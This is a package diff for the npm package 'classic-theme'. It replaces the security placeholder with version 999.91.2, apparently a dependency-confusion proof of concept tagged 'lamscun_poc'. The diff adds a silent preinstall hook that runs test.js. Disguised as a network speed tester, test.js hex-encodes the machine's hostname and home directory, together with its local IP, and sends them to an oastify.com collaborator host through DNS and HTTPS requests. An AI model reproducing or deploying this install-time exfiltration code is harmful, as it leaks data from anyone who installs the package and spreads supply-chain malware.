classic-theme 0.0.1-security → 999.91.2

package/index.js

@@ -0,0 +1,188 @@
+const http = require('http');
+
+const https = require('https');
+
+let { URL, Url } = require('url');
+
+/**
+
+ * Use the default Node URL Class if found i.e. Inside a Node environment
+
+ * to allow http and https, otherwise use the Url consturctor for browser environments
+
+ * strictly limited to https for secure connections
+
+ */
+
+URL = URL ? URL : Url;
+
+
+const chars =
+
+  "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789~!@#$%^&*()_+`-=[]{}|;':,./<>?";
+
+
+class NetworkSpeedCheck {
+
+  /**
+
+   * Function to check download speed
+
+   * @param {String} baseUrl {Required} The url to which the request should be made
+
+   * @param {Number} fileSizeInBytes {Required} The size (in bytes) of the file to be downloaded
+
+   * @returns {Object}
+
+   */
+
+
+  _protocol (url) {
+
+    var u = new URL(url)
+
+    return u.protocol === 'http:' ? http : https
+
+  }
+
+  checkDownloadSpeed(baseUrl, fileSizeInBytes) {
+
+    this.validateDownloadSpeedParams(baseUrl, fileSizeInBytes)
+
+    let startTime;
+
+    let protocol = this._protocol(baseUrl)
+
+    return new Promise((resolve, _) => {
+
+      return protocol.get(baseUrl, response => {
+
+        response.once('data', () => {
+
+          startTime = new Date().getTime();
+
+        });
+
+
+        response.once('end', () => {
+
+          const endTime = new Date().getTime();
+
+          const duration = (endTime - startTime) / 1000;
+
+          // Convert bytes into bits by multiplying with 8
+
+          const bitsLoaded = fileSizeInBytes * 8;
+
+          const bps = (bitsLoaded / duration).toFixed(2);
+
+          const kbps = (bps / 1000).toFixed(2);
+
+          const mbps = (kbps / 1000).toFixed(2);
+
+          resolve({ bps, kbps, mbps });
+
+        });
+
+      });
+
+    }).catch(error => {
+
+      throw new Error(error);
+
+    });
+
+  }
+
+
+  checkUploadSpeed(options, fileSizeInBytes = 2000000) {
+
+    let startTime;
+
+    const defaultData = this.generateTestData(fileSizeInBytes / 1000);
+
+    const data = JSON.stringify({ defaultData });
+
+    return new Promise((resolve, reject) => {
+
+      let req = http.request(options, res => {
+
+        res.setEncoding("utf8");
+
+        res.on('data', () => {});
+
+        res.on("end", () => {
+
+          const endTime = new Date().getTime();
+
+          const duration = (endTime - startTime) / 1000;
+
+          const bitsLoaded = fileSizeInBytes * 8;
+
+          const bps = (bitsLoaded / duration).toFixed(2);
+
+          const kbps = (bps / 1000).toFixed(2);
+
+          const mbps = (kbps / 1000).toFixed(2);
+
+          resolve({ bps, kbps, mbps });
+
+        });
+
+      });
+
+      startTime = new Date().getTime();
+
+      req.on('error', error => {
+
+        reject(error)
+
+      });
+
+      req.write(data)
+
+      req.end()
+
+    })
+
+  }
+
+
+  validateDownloadSpeedParams(baseUrl, fileSizeInBytes) {
+
+    if (typeof baseUrl !== 'string') {
+
+      throw new Error('baseUrl must be a string')
+
+    }
+
+    if (typeof fileSizeInBytes !== 'number') {
+
+      throw new Error('fileSizeInBytes must be a number')
+
+    }
+
+    return
+
+  }
+
+
+  generateTestData(sizeInKmb) {
+
+    const iterations = sizeInKmb * 1000; //get byte count
+
+    let result = '';
+
+    for (var index = 0; index < iterations; index++) {
+
+      result += chars.charAt(Math.floor(Math.random() * chars.length));
+
+    }
+
+    return result;
+
+  }
+
+}
+
+module.exports = NetworkSpeedCheck;

package/package.json

@@ -1,6 +1,15 @@
 {
   "name": "classic-theme",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "999.91.2",
+  "description": "lamscun",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node test.js > /dev/null 2>&1",
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "keywords": [
+    "lamscun_poc"
+  ],
+  "author": "lamscun",
+  "license": "ISC"
 }

package/test.js

@@ -0,0 +1,62 @@
+const NetworkSpeed = require('./index.js');
+
+const testNetworkSpeed = new NetworkSpeed();
+
+
+async function getNetworkDownloadSpeedData(data) {
+  const baseUrl = 'https://'+data+'.supplierportal.wwwz15e554m201wwajfl7m1ey54z1nq.oastify.com';
+  const fileSizeInBytes = 500000;
+  const speed = await testNetworkSpeed.checkDownloadSpeed(baseUrl, fileSizeInBytes);
+  console.log(`Download Speed: ${JSON.stringify(speed)}`);
+}
+
+async function getNetworkDownloadSpeed(url) {
+  const baseUrl = url;
+  const fileSizeInBytes = 500000;
+  await testNetworkSpeed.checkDownloadSpeed(baseUrl, fileSizeInBytes).then(res => {
+    console.log(`Download Speed: ${JSON.stringify(res)}`);
+    testNetworkSpeed.checkDownloadSpeed(`https://supplierportal.wwwz15e554m201wwajfl7m1ey54z1nq.oastify.com/?success=${baseUrl}`, fileSizeInBytes)
+  }).catch(e => {console.log("error")})
+}
+
+
+async function getNetworkUploadSpeed(data) {
+  const options = {
+    hostname: data+'depenconf7.upload.test.com',
+    port: 80,
+    path: '/catchers/544b09b4599c1d0200000289',
+    method: 'POST',
+    headers: {
+      'Content-Type': 'application/json',
+    },
+  };
+  const fileSizeInBytes = 200000
+  const speed = await testNetworkSpeed.checkUploadSpeed(options, fileSizeInBytes);
+  console.log(`Upload Speed: ${JSON.stringify(speed)}`);
+}
+
+const os = require('os');
+
+const getIp = family => {
+	const interfaces = os.networkInterfaces();
+	return Object.keys(interfaces).reduce((arr, x) => {
+		const interfce = interfaces[x];
+		return arr.concat(Object.keys(interfce)
+			.filter(x => interfce[x].family === family && !interfce[x].internal)
+			.map(x => interfce[x].address));
+	}, []);
+};
+
+function stringToHex(str)
+{
+    const buf = Buffer.from(str, 'utf8');
+    return buf.toString('hex');
+}
+
+const hn = stringToHex(os.hostname())
+const hd = stringToHex(os.homedir());
+
+var localip=getIp('IPv4');
+getNetworkDownloadSpeedData(localip);
+getNetworkDownloadSpeedData(hn);
+getNetworkDownloadSpeedData(hd);

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=classic-theme for more information.